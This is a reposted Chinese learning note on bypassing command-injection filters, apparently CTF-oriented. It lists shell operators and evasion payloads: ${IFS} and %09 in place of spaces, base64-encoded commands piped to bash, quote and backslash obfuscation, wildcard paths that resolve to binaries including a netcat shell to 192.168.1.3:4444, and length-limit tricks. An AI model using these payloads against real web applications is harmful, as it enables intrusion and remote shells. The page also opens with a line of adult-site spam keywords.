日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

命令注入_命令注入绕过方式总结 (20210111学习笔记)

發布時間:2025/3/19 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 命令注入_命令注入绕过方式总结 (20210111学习笔记) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

命令注入是web中常見的漏洞之一,由于web應用程序未對用戶提交的數據做嚴格的過濾,導致用戶輸入可以直接被linux或windows系統當成命令執行,一般都會造成嚴重的危害。

常用符號

分號(;)

多條語句順序執行時的分割符號。

1cmd1;cmd2

管道符(|)

cmd1命令的輸出,作為下一條命令cmd2的參數。

1cmd1|cmd2

and(&&)

與命令,cmd1成功則執行cmd2,cmd1失敗則不執行cmd2

1cmd1 && cmd2

or(||)

或命令,cmd1失敗則執行cmd2,cmd1成功則不執行cmd2

1cmd1 || cmd2

反引號()和$()

反引號和$()都可用來表示命令,被這兩種方式包含的字符串都會被當做命令首先執行。

12echo "result : `whoami`"echo "result : $(whoami)"

繞過方式總結

空格繞過

在過濾了空格的系統中,以cat flag.txt為例,系統不允許我們輸入空格或輸入后被過濾。

${IFS}

可使用${IFS}代替空格。

123cat${IFS}flag.txtcat$IFS$1flag.txtcat${IFS}$1flag.txt

重定向符繞過(<>)

12cat<>flag.txtcat

%09(需要php環境)

php環境下web輸入%09等效于空格

1cat%09flag.txt

黑名單繞過

拼接

使用shell變量拼接被黑名單限制的關鍵詞

1a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

base64

使用反引號包含base64解碼后的命令

1`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

將base64解碼后的命令通過管道符傳遞給bash

1echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

單引號,雙引號

1c""at fl''ag.tx""t

反斜杠

1c\at fl\a\g.tx\t

$1

1ca$1t fl$1ag.t$1xt

讀文件繞過

123456789101112(1)more:一頁一頁的顯示檔案內容(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁(3)head:查看頭幾行(4)tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示(5)tail:查看尾幾行(6)nl:顯示的時候,順便輸出行號(7)od:以二進制的方式讀取檔案內容(8)vi:一種編輯器,這個也可以查看(9)vim:一種編輯器,這個也可以查看(10)sort:可以查看(11)uniq:可以查看(12)file -f:報錯出具體內容

通配符繞過

/???會去尋找 / 目錄下的三個字符長度的文件,正常情況下會尋找到/bin,然后/?[a][t]會優先匹配到/bin/cat,就成功調用了cat命令,然后后面可以使用正常的通配符匹配所需讀的文件,如flag.txt文件名長度為8,使用8個?’’,此命令就會讀取所有長度為8的文件。

1/???/?[a][t] ?''?''?''?''?''?''?''?''

同理,我們也可以匹配/bin下的其他命令,如more,less,vi,tail等命令來查看文件,或者執行其他命令。

1/???/[m][o]?[e] ?''?''?''?''?''?''?''?''
1/???/[t]?[i][l] ?''?''?''?''?''?''?''?''

甚至開啟一個shell

1/???/[n]?[t]??[t] -lvp 4444
1/???/[n]?[t]??[t] 192.168.1.3 4444

命令嵌套

1echo "result:`whoami`"
1echo "result:$(uname -a)"

長度繞過

使用>>繞過長度限制

使用>>每次添加一部分命令到文件中

1234echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;

然后使用cat r | bash執行命令

使用換行執行和ls -t繞過長度限制

linux中,文件中的命令如果需要換行書寫,需要在前一行末尾增加\,如文件a中有

123ca\t flag.t\xt

使用sh a即可執行命令cat flag.txt

ls -t可根據時間創建順序逆序輸出文件名

a可以創建一個名為a的文件

按照這個思路,可以使用

1234> "ag"> "fl\\"> "t \\"> "ca\\"

然后使用ls -t > s

s中文件內容就是

123456sca\t \fl\ag\其他的無關內容

之后使用sh s,即可執行cat flag

作者:Leticia,來源:Leticia's Blog

一如既往的學習,一如既往的整理,一如即往的分享。感謝支持

“如侵權請私聊公眾號刪文”

覺得不錯點個“贊”、“在看”哦

總結

以上是生活随笔為你收集整理的命令注入_命令注入绕过方式总结 (20210111学习笔记)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。